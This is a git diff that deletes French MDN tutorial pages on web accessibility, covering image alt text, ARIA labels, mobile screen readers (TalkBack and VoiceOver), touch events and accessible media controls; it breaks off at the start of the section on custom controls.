-<p id="dino-label"> Tyrannosaure rouge Rex de Mozilla: Dinosaure à deux jambes, debout comme un être humain, avec des armes légères et une grosse tête avec beaucoup de dents acérées.</p>
-
- -

La première image, lorsqu'elle est visualisée par un lecteur d'écran, n'offre pas beaucoup d'aide à l'utilisateur. VoiceOver, par exemple, lit « /dinosaur.png, image ». Il lit le nom du fichier pour essayer de fournir de l'aide. Dans cet exemple, l'utilisateur ou l’utilisatrice saura au moins qu'il s'agit d'un dinosaure, mais les fichiers peuvent souvent être chargés avec des noms de fichiers générés par une machine (par exemple, à partir d'un appareil photo numérique) et ces noms de fichiers ne fourniront probablement aucun contexte au contenu de l'image.

- -
-

Note: c'est pourquoi vous ne devriez jamais inclure de contenu textuel dans une image. Les lecteurs d'écran ne peuvent tout simplement pas y accéder. Il y a aussi d'autres inconvénients - vous ne pouvez pas le sélectionner et le copier/coller. Juste ne le faite pas !

-
- -

Quand un lecteur d'écran rencontre la deuxième image, il lit l'intégralité de l'attribut alt – « Un Tyrannosaure Rex rouge : Un dinosaure à deux pattes se tenant droit comme un humain, avec des armes de petit calibre et une grosse tête avec beaucoup de dents acérées. »

- -

Cela met en évidence l’importance non seulement d’utiliser des noms de fichiers significatifs au cas où ce qui est appelé alt text n’est pas disponible, mais aussi de s’assurer que le texte alternatif est fourni dans les attributs alt chaque fois que possible. Notez que le contenu de l'attribut alt doit toujours fournir une représentation directe de l'image et de ce qu'elle transmet visuellement. Aucune connaissance personnelle ou description supplémentaire ne devrait être incluse ici, car elle n’est pas utile pour les personnes qui n’ont jamais rencontré l’image auparavant.

- -

Une chose à considérer est de savoir si vos images ont une signification dans votre contenu, ou si elles sont purement décoratives, n’ont donc aucune signification. S'ils sont décoratifs, il est préférable de les inclure dans la page en tant qu'images d'arrière-plan CSS.

- -
-

Note : Lisez Les images en HTML et Images adaptatives pour plus d’informations sur la mise en œuvre des images et les meilleures pratiques.

-
- -

Si vous souhaitez fournir des informations contextuelles supplémentaires, vous devez les insérer dans le texte entourant l'image ou dans un attribut title, comme indiqué ci-dessus. Dans ce cas, la plupart des lecteurs d’écran liront le texte alternatif, l’attribut title et le nom du fichier. En outre, les navigateurs affichent le texte du titre sous forme d’infos lors du survol de la souris.

- -

- -

Jetons un autre coup d'oeil à la quatrième méthode :

- -
<img src="dinosaur.png" aria-labelledby="dino-label">
-
-<p id="dino-label"> Le Tyrannosaure rouge Mozilla  ... </p>
- -

Dans ce cas, nous n'utilisons pas du tout l'attribut alt Nous avons plutôt présenté notre description de l'image sous forme de paragraphe de texte normal, en lui attribuant un id puis nous avons utilisé l'attribut aria-labelledby pour : faire référence à cela id, ce qui amène les lecteurs d’écran à utiliser ce paragraphe comme alt text/label pour cette image. Ceci est particulièrement utile si vous souhaitez utiliser le même texte comme étiquette pour plusieurs images – quelque chose qui n’est pas possible avec alt.

- -
-

Note: aria-labelledby fait partie de la spécification WAI ARIA, qui permet aux développeurs d'ajouter une sémantique supplémentaire à leur balisage afin d'améliorer l'accessibilité du lecteur d'écran, le cas échéant. Pour en savoir plus sur son fonctionnement, lisez notre article WAI-ARIA basic.

-
- -

Autres mécanismes alternatifs de texte

- -

Les images ont également d'autres mécanismes disponibles pour fournir un texte descriptif. Par exemple, il existe un attribut longdesc destiné à pointer sur un document web distinct contenant une description étendue de l'image, par exemple :

- -

-<img src="dinosaur.png" longdesc="dino-info.html">
- -

Cela semble être une bonne idée, en particulier pour les infographies telles que les grands graphiques contenant de nombreuses informations, qui pourraient peut-être être représentées sous forme de tableau de données accessible (voir section précédente). Cependant, longdesc n’est pas toujours pris en charge par les lecteurs d’écran et le contenu est totalement inaccessible aux utilisateurs autres que les lecteurs d’écran. Il est sans doute préférable d’inclure la description longue sur la même page que l’image, ou d’y accéder par un lien régulier.

- -

HTML5 comprend deux nouveaux éléments  — {{htmlelement("figure")}} et {{htmlelement("figcaption")}} — qui sont supposés associer une figure quelconque (ce peut être n'importe quoi, pas nécessairement une image) à une légende de figure :

- -
<figure>
-  <img src="dinosaur.png" alt=" Le Mozilla Tyrannosaurus ">
-  <figcaption> Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées .</figcaption>
-</figure>
- -

Malheureusement, la plupart des lecteurs d’écran ne semblent pas encore associer de légendes à leurs figures, mais la structure des éléments est utile pour le style CSS. Elle permet également de placer une description de l’image à côté de la source.

- -

Attributs alt vides

- -

-<h3>
-  <img src="article-icon.png" alt="">
-   Tyrannosaurus Rex: le roi des dinosaures 
-</h3>
- -

Il peut arriver qu'une image soit incluse dans la conception d'une page, mais son objectif principal est la décoration visuelle. Vous remarquerez dans l'exemple de code ci-dessus que l'attribut  alt de l'image est vide – il s'agit pour que les lecteurs d'écran reconnaissent l'image, mais n'essayent pas de décrire l'image (au lieu de cela, ils diraient simplement « image », ou similaire) .

- -

La raison d'utiliser un vide alt au lieu de ne pas l'inclure est due au fait que de nombreux lecteurs d'écran annoncent l'URL complète de l'image si aucun alt n'est fourni. Dans l'exemple ci-dessus, l'image agit comme une décoration visuelle de l'en-tête auquel elle est associée. Dans ce cas, et dans les cas où une image est uniquement une décoration et n'a pas de valeur de contenu, vous devez mettre un vide alt sur vos images. Une autre alternative consiste à utiliser l'attribut aria role role = "presentation" – cela empêche également les lecteurs d'écrans de lire du texte alternatif.

- -
-

Note : si possible, vous devriez utiliser CSS pour afficher des images qui ne sont que des décorations.

-
- -
-

Résumé

-
- -

Vous devriez maintenant bien connaître l'écriture HTML accessible pour la plupart des cas. Notre article sur les bases de WAI-ARIA comblera également certaines lacunes dans cette connaissance, mais cet article s’occupe des bases. Ensuite, nous allons explorer CSS et JavaScript, et comment l’accessibilité est affectée par leur bon ou mauvais usage.

- -

{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}

diff --git a/files/fr/apprendre/a11y/index.html b/files/fr/apprendre/a11y/index.html deleted file mode 100644 index 23ff90513d..0000000000 --- a/files/fr/apprendre/a11y/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Accessibilité -slug: Apprendre/a11y -tags: - - ARIA - - Accessibilité - - Apprendre - - CSS - - Débutant - - HTML - - JavaScript -translation_of: Learn/Accessibility ---- -
{{LearnSidebar}}
- -

Apprendre le HTML, le CSS et le JavaScript est utile si vous voulez devenir développeur web, mais vos connaissances devront aller au delà de la simple utilisation des technologies — vous devrez les utiliser de manière responsable, de la bonne manière, de façon à maximiser l'audience de vos sites web et ne priver personne de leur usage. Pour y parvenir, vous devrez respecter les bonnes pratiques (lesquelles sont démontrées à travers les sujets du HTML, du CSS et du JavaScript), effectuer des tests sur les différents navigateurs et prendre l'accessibilité en considération dès le départ. Dans ce module, nous allons traiter de cette dernière en détail.

- -

Prérequis

- -

Pour tirer le meilleur parti de ce module, il serait judicieux de parcourir les sections relatives à HTML, CSS et JavaScript en premier (au moins les deux premiers modules de chacune de ces sections) ou, peut-être encore mieux, de travailler les parties pertinentes du module d'accessibilité au fur et à mesure que vous travaillez les sujets technologiques connexes.

- -
-

Note : Si vous travaillez sur un ordinateur, une tablette ou un autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer la plupart des exemples de code dans un programme de code en ligne tel que JSBin ou Thimble.

-
- -

Guides

- -
-
Qu'est-ce que l'accessibilité ?
-
Cet article amorce le module avec un bon aperçu de ce qu'est réellement l'accessibilité – cela inclut les groupes de personnes que nous devons considérer et pourquoi, quels outils les différentes personnes utilisent pour interagir avec le Web et comment nous pouvons intégrer l'accessibilité dans le processus de développement web.
-
HTML : une bonne base pour l'accessibilité
-
Une grande partie du contenu web peut être rendue accessible simplement lorsqu'on utilise les bons éléments HTML dans les bons cas. Cet article examine en détail comment HTML peut être utilisé pour assurer une accessibilité maximale.
-
Meilleures pratiques d'accessibilité CSS et JavaScript
-
Lorsqu'ils sont utilisés correctement, CSS et JavaScript peuvent permettre des expériences web accessibles… mais ils peuvent considérablement nuire à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines pratiques exemplaires pour CSS et JavaScript qui doivent être prises en compte afin de s'assurer que le contenu, même complexe, soit le plus accessible possible.
-
Principes de base du WAI-ARIA
-
À la suite de l'article précédent, il est parfois compliqué de créer des contrôles complexes et accessible pour une interface utilisateur qui contient du HTML non sémantique et du contenu dynamique mis à jour grâce à JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs de savoir ce qui se passe. Nous allons montrer ici comment l'utiliser, à un niveau basique, pour améliorer l'accessibilité.
-
Accessibilité pour les contenus multimédias
-
Un autre type de contenu susceptible de créer des problèmes d'accessibilité est le multimédia : les contenus vidéo, audio et les image doivent être dotés de textes alternatifs appropriés afin qu'ils puissent être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment.
-
Accessibilité mobile
-
On accède désormais au Web depuis son smartphone. Les plateformes iOS et Android possèdent des outils d'accessibilité à part entière. Il est tout aussi important de prendre en compte l'accessibilité de votre contenu web sur ces plateformes. Cet article examine les considérations d'accessibilité spécifiques au mobile.
-
- -

Évaluations

- -
-
Diagnostic et amélioration de l'accessibilité
-
Dans ce module d'évaluation, nous vous présentons un site simple comportant un certain nombre de problèmes d'accessibilité que vous devez diagnostiquer et corriger.
-
- -

Voir aussi

- - diff --git a/files/fr/apprendre/a11y/mobile/index.html b/files/fr/apprendre/a11y/mobile/index.html deleted file mode 100644 index 6fd7b657d1..0000000000 --- a/files/fr/apprendre/a11y/mobile/index.html +++ /dev/null @@ -1,311 +0,0 @@ ---- -title: Accessibilité mobile -slug: Apprendre/a11y/Mobile -tags: - - Accessibilité - - Article - - Débutant - - Mobile - - responsive - - toucher -translation_of: Learn/Accessibility/Mobile ---- -
-
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
- -

L'accès Web sur les appareils mobiles étant si populaire et les plates-formes populaires telles qu'IOS et Android disposant d'outils d'aide à l'accessibilité complets, il est important de prendre en compte l'accessibilité de votre contenu Web sur ces plates-formes. Cet article examine les considérations relatives à l'accessibilité spécifiques aux mobiles.

- - - - - - - - - - - - -
Prerequisites:Connaissances de base en informatique, compréhension de base de HTML, CSS et JavaScript et compréhension de la  previous articles in the course.
Objective:Comprendre quels problèmes d'accessibilité existent sur les appareils mobiles et comment les résoudre.
- -

Accessibilité sur les appareils mobiles

- -

L’état de l’accessibilité - et la prise en charge des normes Web en général - est bon pour les appareils mobiles modernes. Le temps où les appareils mobiles utilisaient des technologies Web complètement différentes des navigateurs de bureau, forçait les développeurs à utiliser le sniffing de navigateur et à leur servir des sites complètement séparés (même si de nombreuses entreprises détectent encore l'utilisation d'appareils mobiles et leur servent un domaine distinct).

- -

De nos jours, les appareils mobiles en général peuvent gérer des sites Web "complets", et les principales plates-formes ont même des lecteurs d'écran intégrés pour permettre aux utilisateurs malvoyants de les utiliser avec succès. Les navigateurs mobiles modernes ont tendance à avoir un bon support pour  WAI-ARIA, aussi

- -

Pour rendre un site Web accessible et utilisable sur mobile, il vous suffit de suivre les bonnes pratiques générales en matière de conception de sites Web et d'accessibilité.

- -

Certaines exceptions nécessitent une attention particulière pour le mobile; les principaux sont:

- - - -

Résumé des tests de lecteur d'écran sur Android et iOS

- -

Les plates-formes mobiles les plus courantes disposent de lecteurs d’écran entièrement fonctionnels. Celles-ci fonctionnent à peu près de la même manière que les lecteurs d’écran de bureau, sauf qu’elles sont largement utilisées avec des gestes tactiles plutôt que des combinaisons de touches.

- -

Regardons les deux principaux: TalkBack sur Android et VoiceOver sur iOS.

- -

Android TalkBack

- -

Le lecteur d’écran TalkBack est intégré au système d’exploitation Android.

- -

Pour l'activer, sélectionnez Paramètres> Accessibilité> TalkBack, puis appuyez sur le curseur pour l'activer. Suivez toute invite supplémentaire à l'écran qui vous est présentée.

- -

Note:  Les anciennes versions de TalkBack sont activées dans slightly different ways.

- -

Lorsque TalkBack est activé, les commandes de base de votre appareil Android seront un peu différentes. Par exemple:

- -
    -
  1. Une simple pression sur une application la sélectionne et l'appareil lit en quoi elle consiste.
    2. -
  2. Glisser vers la gauche ou la droite permet de se déplacer entre les applications, ou les boutons / contrôles si vous êtes dans une barre de contrôle. L'appareil lira chaque option.
    3. -
  3. Double-cliquer n'importe où ouvrira l'application / sélectionner l'option.
    4. -
  4. Vous pouvez également "explorer par le toucher" - maintenez votre doigt appuyé sur l'écran et faites-le glisser, et votre appareil lira les différentes applications / éléments que vous déplacez.
    5. -
- -

Si vous souhaitez désactiver TalkBack:

- -
    -
  1. Accédez à votre application Paramètres en utilisant les gestes ci-dessus.
    2. -
  2. Accédez à Accessibilité> TalkBack .
    3. -
  3. Accédez au commutateur et activez-le pour le désactiver. .
    4. -
- -

Note: Vous pouvez accéder à votre écran d'accueil à tout moment en glissant vers le haut et à gauche dans un mouvement fluide. Si vous avez plus d'un écran d'accueil, vous pouvez passer d'un écran à l'autre en faisant glisser deux doigts vers la gauche et vers la droite. .

- -

Pour une liste plus complète des gestes TalkBack, voir  Use TalkBack gestures.

- -

Déverrouiller le téléphone

- -

Lorsque TalkBack est activé, le déverrouillage du téléphone est un peu différent.

- -

Vous pouvez balayer deux doigts à partir du bas de l'écran de verrouillage. Si vous avez défini un code d'accès ou un modèle pour déverrouiller votre appareil, vous serez redirigé vers l'écran de saisie approprié pour le saisir.

- -

Vous pouvez également explorer en touchant le bouton Déverrouiller en bas au centre de l'écran, puis en appuyant deux fois.

- - - -

TalkBack vous permet d'accéder aux menus contextuels globaux et locaux, où que vous ayez navigué sur l'appareil. Le premier fournit des options globales relatives à l'appareil dans son ensemble, et le second fournit des options relatives uniquement à l'application / à l'écran actuel.

- -

Pour accéder à ces menus:

- -
    -
  1. Accédez au menu global en glissant rapidement vers le bas, puis à droite .
    2. -
  2. Accédez au menu local en balayant rapidement vers le haut, puis à droite.
    3. -
  3. Balayez vers la gauche et la droite pour naviguer entre les différentes options. .
    4. -
  4. Une fois que vous avez sélectionné l'option de votre choix, double-cliquez dessus pour la choisir.
    5. -
- -

Pour plus de détails sur toutes les options disponibles dans les menus contextuels global et local, voir  Use global and local context menus.

- -

Parcourir des pages Web

- -

Vous pouvez utiliser le menu contextuel local dans un navigateur Web pour rechercher des options permettant de naviguer dans des pages Web en utilisant uniquement les en-têtes, les contrôles de formulaire ou les liens, ou de naviguer ligne par ligne, etc.

- -

Par exemple, avec TalkBack activé:

- -
    -
  1. Ouvrez votre navigateur web.
    2. -
  2. Activer la barre d'URL.
    3. -
  3. Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: -
      -
    • Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double tapant .
      • -
    • Maintenez votre doigt appuyé sur le clavier virtuel jusqu'à obtenir le caractère souhaité, puis relâchez-le pour le saisir. Répétez pour chaque caractère.
      • -
    • Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus.
      • -
    -
    4. -
  4. Balayez vers la gauche et la droite pour vous déplacer entre différents éléments de la page. .
    5. -
  5. Faites glisser votre doigt vers le haut et vers la droite avec un mouvement fluide pour accéder au menu de contenu local.
    6. -
  6. Balayez vers la droite jusqu'à ce que vous trouviez l'option "En-têtes et points de repère".
    7. -
  7. Appuyez deux fois pour le sélectionner. Vous pouvez maintenant glisser à gauche et à droite pour vous déplacer entre les rubriques et les points de repère ARIA.
    8. -
  8. Pour revenir au mode par défaut, entrez de nouveau dans le menu contextuel local en balayant l'écran vers le haut, le curseur à droite, sélectionnez "Par défaut", puis tapez deux fois pour l'activer.
    9. -
- -

Note:  Voir  aussi Get started on Android with TalkBack pour obtenir une documentation plus complète.

- -

iOS VoiceOver

- -

Une version mobile de VoiceOver est intégrée au système d'exploitation iOS.

- -

Pour l'activer, accédez à l'application Paramètres, puis sélectionnez Général > Accessibilité > VoiceOver. Appuyez sur le curseur VoiceOver pour l'activer (vous verrez également un certain nombre d'autres options liées à VoiceOver sur cette page).

- -

Une fois que VoiceOver est activé, les gestes de contrôle de base de l'iOS seront un peu différents :

- -
    -
  1. Un simple tapement entraînera la sélection de l'élément sur lequel vous appuyez; votre appareil parlera de l'élément sur lequel vous avez tapé.
    2. -
  2. Vous pouvez également parcourir les éléments à l’écran en balayant vers la gauche ou vers la droite pour les déplacer, ou en faisant glisser votre doigt sur l’écran pour naviguer entre les différents éléments (lorsque vous trouvez l’élément souhaité, vous pouvez le retirer pour le sélectionner).
    3. -
  3. Pour activer l'élément sélectionné (par exemple, ouvrir une application sélectionnée), appuyez deux fois n'importe où sur l'écran.
    4. -
  4. Faites glisser votre doigt avec trois doigts pour faire défiler une page.
    5. -
  5. Appuyez avec deux doigts pour effectuer une action liée au contexte - par exemple, prendre une photo alors que vous êtes dans l'application Appareil photo.
    6. -
- -

Pour le désactiver à nouveau, revenez à Paramètres> Général> Accessibilité> VoiceOver en utilisant les gestes ci-dessus, puis basculez le curseur VoiceOver sur Désactivé.

- -

Déverrouiller le téléphone

- -

Pour déverrouiller le téléphone, vous devez appuyer sur le bouton d'accueil (ou balayer) comme d'habitude. Si vous avez défini un code d'authentification, vous pouvez sélectionner chaque numéro en balayant / glissant (comme expliqué ci-dessus), puis en appuyant deux fois pour entrer chaque numéro lorsque vous avez trouvé le bon.

- -

Utiliser le rotor

- -

Lorsque VoiceOver est activé, vous disposez d'une fonction de navigation appelée Rotor, qui vous permet de choisir rapidement parmi un certain nombre d'options utiles courantes. Pour l'utiliser:

- -
    -
  1. Tournez deux doigts sur l’écran comme si vous tourniez un cadran. Chaque option sera lue à voix haute au fur et à mesure que vous tournez. Vous pouvez aller et venir pour parcourir les options.
    2. -
  2. Une fois que vous avez trouvé l'option que vous voulez: -
      -
    • Relâchez vos doigts pour le sélectionner.
      • -
    • S'il s'agit d'une option dont vous pouvez parcourir la valeur (telle que le volume ou la vitesse de parole), vous pouvez effectuer un balayage vers le haut ou le bas pour augmenter ou diminuer la valeur de l'élément sélectionné.
      • -
    -
    3. -
- -

Les options disponibles sous Rotor dépendent du contexte. Elles diffèrent en fonction de l'application ou de la vue dans laquelle vous vous trouvez (voir l'exemple ci-dessous).

- -

Parcourir des pages Web

- -

Essayons la navigation Web avec VoiceOver:

- -
    -
  1. Ouvrez votre navigateur web.
    2. -
  2. Activer la barre d'URL.
    3. -
  3. Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: -
      -
    • Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double-tapant.
      • -
    • Pour chaque caractère, maintenez votre doigt appuyé sur le clavier virtuel jusqu'à ce que vous obteniez le caractère souhaité, puis relâchez votre doigt pour le sélectionner. Appuyez deux fois pour le taper.
      • -
    • Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus.
      • -
    -
    4. -
  4. Balayez vers la gauche et la droite pour vous déplacer entre les éléments de la page. Vous pouvez appuyer deux fois sur un élément pour le sélectionner (par exemple, suivre un lien).
    5. -
  5. Par défaut, l’option de rotor sélectionnée sera Speaking Rate; vous pouvez actuellement balayer de haut en bas pour augmenter ou diminuer le débit.
    6. -
  6. Maintenant, tournez deux doigts autour de l'écran comme un cadran pour afficher le rotor et passez d'une option à l'autre. Voici quelques exemples d'options disponibles: -
      -
    • Taux de parole : Modifiez le taux de parole.
      • -
    • Conteneurs : déplacez-vous entre différents conteneurs sémantiques de la page.
      • -
    • En-têtes : déplacez-vous entre les en-têtes de la page.
      • -
    • Liens : permet de se déplacer entre les liens de la page.
      • -
    • Contrôles de formulaire : déplacez-vous entre les contrôles de formulaire de la page.
      • -
    • Langue : déplacez-vous entre différentes traductions, si elles sont disponibles.
      • -
    -
    7. -
  7. Sélectionnez les en-têtes. Vous pouvez maintenant glisser de haut en bas pour vous déplacer entre les titres de la page.
    8. -
- -

Note:  Pour une référence plus complète couvrant les gestes VoiceOver disponibles et d'autres astuces sur le test d'accessibilité sur iOS, voir aussi Test Accessibility on Your Device with VoiceOver.

- -

Mécanismes de contrôle

- -

Dans notre article relatif à l'accessibilité CSS et JavaScript, nous avons examiné l'idée d'événements spécifiques à un certain type de mécanisme de contrôle  (see Mouse-specific events). En résumé, cela pose des problèmes d'accessibilité car d'autres mécanismes de contrôle ne peuvent pas activer la fonctionnalité associée.

- -

Par exemple, l'événement  click  est bon en termes d'accessibilité - un gestionnaire d'événements associé peut être appelé en cliquant sur l'élément sur lequel il est défini, en le sélectionnant et en appuyant sur Entrée / Retour ou en le tapant sur un périphérique à écran tactile. Essayez notre simple-button-example.html exemple (see it running live) pour voir ce que nous entendons. .

- -

Sinon, des événements spécifiques à la souris, tels que  mousedown et mouseup créent des problèmes - leurs gestionnaires d'événements ne peuvent pas être appelés à l'aide de contrôles autres que la souris.

- -

Si vous essayez de contrôler notre exemple  simple-box-drag.html (see example live) avec un clavier ou une touche, vous verrez le problème. Cela se produit car nous utilisons un code tel que:

- -
div.onmousedown = function() {
-  initialBoxX = div.offsetLeft;
-  initialBoxY = div.offsetTop;
-  movePanel();
-}
-
-document.onmouseup = stopMove;
- -

Pour activer d'autres formes de contrôle, vous devez utiliser des événements différents mais équivalents. Par exemple, les événements tactiles fonctionnent sur les périphériques à écran tactile:

- -
div.ontouchstart = function(e) {
-  initialBoxX = div.offsetLeft;
-  initialBoxY = div.offsetTop;
-  positionHandler(e);
-  movePanel();
-}
-
-panel.ontouchend = stopMove;
- -

Nous avons fourni un exemple simple qui montre comment utiliser simultanément les événements de la souris et des événements tactiles — voir multi-control-box-drag.html (see the example live aussi).

- -

Note: Vous pouvez également voir des exemples fonctionnels montrant comment implémenter différents mécanismes de contrôle à   Implementing game control mechanisms.

- -

Responsive design

- -

Responsive design a l’habitude de faire en sorte que vos mises en page et les autres fonctionnalités de vos applications changent de manière dynamique en fonction de facteurs tels que la taille de l’écran et la résolution, de sorte qu’elles soient utilisables et accessibles aux utilisateurs de différents types d’appareils. .

- -

En particulier, les problèmes les plus courants auxquels le mobile doit faire face sont les suivants:

- - - -

Note:  Nous ne fournirons pas une analyse complète des techniques de conception réactive ici, car elles sont couvertes ailleurs au sein de MDN (voir les liens ci-dessus).

- -

Considérations mobiles spécifiques

- -

Il existe d'autres problèmes importants à prendre en compte lors de la création de sites plus accessibles sur mobile. Nous en avons énuméré quelques-uns ici, mais nous en ajouterons davantage lorsque nous y penserons.

- -

Ne pas désactiver le zoom

- -

En utilisant  viewport, il est possible de désactiver le zoom, en utilisant un code comme celui-ci dans votre {{htmlelement("head")}}:

- -
<meta name="viewport" content="user-scalable=no">
- -

Vous ne devriez jamais faire cela autant que possible - beaucoup de gens comptent sur le zoom pour voir le contenu de votre site web, aussi, enlever cette fonctionnalité est une très mauvaise idée. Il y a certaines situations où le zoom peut casser l'interface utilisateur; Dans de tels cas, si vous estimez que vous devez absolument désactiver le zoom, vous devez fournir un autre type d’équivalent, tel qu’une commande permettant d’augmenter la taille du texte de manière à ne pas endommager votre interface utilisateur.

- -

Garder les menus accessibles

- -

Étant donné que l'écran est beaucoup plus étroit sur les appareils mobiles, il est très courant d'utiliser des requêtes multimédia et d'autres technologies pour réduire le menu de navigation à une minuscule icône en haut de l'écran, sur laquelle vous pouvez appuyer pour afficher le menu uniquement si c'est nécessaire - lorsque le site est visualisé sur mobile. Ceci est généralement représenté par une icône "trois lignes horizontales" et le motif de conception est par conséquent appelé "menu hamburger".

- -

Lorsque vous implémentez un tel menu, vous devez vous assurer que le contrôle qui le révèle est accessible par les mécanismes de contrôle appropriés (normalement tactile pour mobile), comme indiqué dans {{anch("Control mechanisms")}} ci-dessus, et que le reste de la page est déplacé ou caché d'une manière ou d'une autre pendant l'accès au menu, afin d'éviter toute confusion lors de la navigation. .

- -

Cliquez ici pour un  good hamburger menu example.

- -

Entrée utilisateur

- -

Sur les appareils mobiles, la saisie de données a tendance à être plus agaçante pour les utilisateurs que l'expérience équivalente sur les ordinateurs de bureau. Il est plus pratique de taper du texte dans les entrées de formulaire à l'aide d'un clavier d'ordinateur de bureau ou d'ordinateur portable que d'un clavier virtuel à écran tactile ou d'un petit clavier physique mobile.

- -

Pour cette raison, il vaut la peine d'essayer de minimiser la quantité de frappe nécessaire. Par exemple, au lieu de forcer les utilisateurs à saisir chaque fois le titre de leur travail en utilisant une entrée de texte standard, vous pouvez proposer un menu  {{htmlelement("select")}}  contenant les options les plus courantes (ce qui aide également à cohérence dans la saisie des données), et offrent une option "Autre" qui affiche un champ de texte dans lequel taper les valeurs aberrantes. Vous pouvez voir un exemple simple de cette idée en action dans common-job-types.html ( voir le common jobs example live).

- -

Il est également utile d’envisager l’utilisation de types de saisie de formulaire au format HTML5, tels que la date sur les plates-formes mobiles car ils les gèrent bien (Android et iOS, par exemple, affichent des widgets utilisables qui correspondent bien à l’expérience de l’appareil. Voir  html5-form-examples.html  pour quelques exemples (voir HTML5 form examples live) — essayez de les charger et de les manipuler sur des appareils mobiles. Par exemple:

- - - -

Si vous souhaitez fournir une solution différente pour les ordinateurs de bureau, vous pouvez toujours proposer un balisage différent à vos périphériques mobiles à l'aide de la détection de fonctionnalités. Reportez-vous à  input types  pour obtenir des informations brutes sur la détection de différents types d'entrée et consultez notre article feature detection article pour en savoir plus. .

- -

Résumé

- -

Dans cet article, nous vous avons fourni des détails sur les problèmes courants spécifiques à l'accessibilité mobile et sur la façon de les résoudre. Nous vous avons également montré comment utiliser les lecteurs d'écran les plus courants pour vous aider à effectuer des tests d'accessibilité.

- -
-

Voir également

-
- - - -
{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
- -
-

Dans ce module

- - -
-
diff --git a/files/fr/apprendre/a11y/multimedia/index.html b/files/fr/apprendre/a11y/multimedia/index.html deleted file mode 100644 index e8b03c52b0..0000000000 --- a/files/fr/apprendre/a11y/multimedia/index.html +++ /dev/null @@ -1,374 +0,0 @@ ---- -title: Accessible multimedia -slug: Apprendre/a11y/Multimedia -tags: - - Accessibilité - - Apprendre - - Audio - - Débutant - - HTML - - Images - - JavaScript - - Multimedia - - Video -translation_of: Learn/Accessibility/Multimedia ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}
- -

Le multimédia est une autre catégorie de contenu susceptible de créer des problèmes d'accessibilité: les contenus vidéo, audio et images doivent disposer de solutions de remplacement textuelles appropriées pour être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment.

- - - - - - - - - - - - -
Conditions requise:Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension de Qu'est ce que l'accessibilité?
Objectif:Comprendre les problèmes d'accessibilité derrière le multimédia et comment les résoudre .
- -

Multimédia et accessibilité

- -

Jusqu'ici, dans ce module, nous avons examiné une variété de contenus et ce qui doit être fait pour en assurer l'accessibilité, du simple contenu textuel aux tableaux de données, en passant par les images, les contrôles natifs tels que les éléments de formulaire et les boutons, et des structures de balisage encore plus complexes. (avec  WAI-ARIA l'attribut).

- -

Cet article, par contre, examine une autre catégorie générale de contenu pour laquelle il est difficile d’assurer l’accessibilité au multimédia. Les images, les vidéos, les éléments {{htmlelement ("canvas")}} les animations Flash, etc. ne sont pas aussi faciles à comprendre par les lecteurs d'écran ou à naviguer au clavier, et nous devons leur donner un coup de main.

- -

Mais ne désespérez pas - nous vous aiderons ici à naviguer parmi les techniques disponibles pour rendre le multimédia plus accessible.

- -

Simple images

- -

Nous avons déjà couvert des alternatives textuelles simples pour les images HTML dans notre article   HTML : une bonne base pour l'accessibilité  —  vous pouvez vous y référer pour plus de détails. En bref, vous devez vous assurer que, dans la mesure du possible, le contenu visuel dispose d’un texte alternatif que les lecteurs d’écran peuvent lire et lire à leurs utilisateurs.

- -

 

- -
-
Par exemple:
-
- -
<img src="dinosaur.png"
-     alt=" Un Tyrannosaure Rex rouge: Un dinosaure a deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tete avec beaucoup de dents acerees .">
-
- -

Commandes audio et vidéo accessibles

- -

La mise en œuvre de contrôles audio / vidéo sur le Web ne devrait pas poser de problème, n'est-ce pas? Enquêtons .

- -

Le problème avec les contrôles HTML5 natifs

- -

Les instances audio et vidéo HTML5 sont même fournies avec un ensemble de commandes intégrées vous permettant de contrôler le contenu multimédia directement. Par exemple (voir  native-controls.html code source et en direct):

- -
<audio controls>
-  <source src="viper.mp3" type="audio/mp3">
-  <source src="viper.ogg" type="audio/ogg">
-  <p> Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="viper.mp3"> lien vers l\'audio </a>  au lieu .</p>
-</audio>
-
-<br>
-
-<video controls>
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p>
-</video>
- -

L'attribut controls comporte des boutons de lecture / pause, une barre de recherche, etc. - les commandes de base que vous êtes en droit d'attendre d'un lecteur multimédia. Il semble que dans Firefox et Chrome :

- -

Screenshot of Video Controls in Firefox

- -

Screenshot of Video Controls in Chrome

- -

Cependant, il y a des problèmes avec ces contrôles :

- - - -

Pour remédier à cela, nous pouvons créer nos propres contrôles personnalisés. Regardons comment.

- -

Création de contrôles audio et vidéo personnalisés

- -

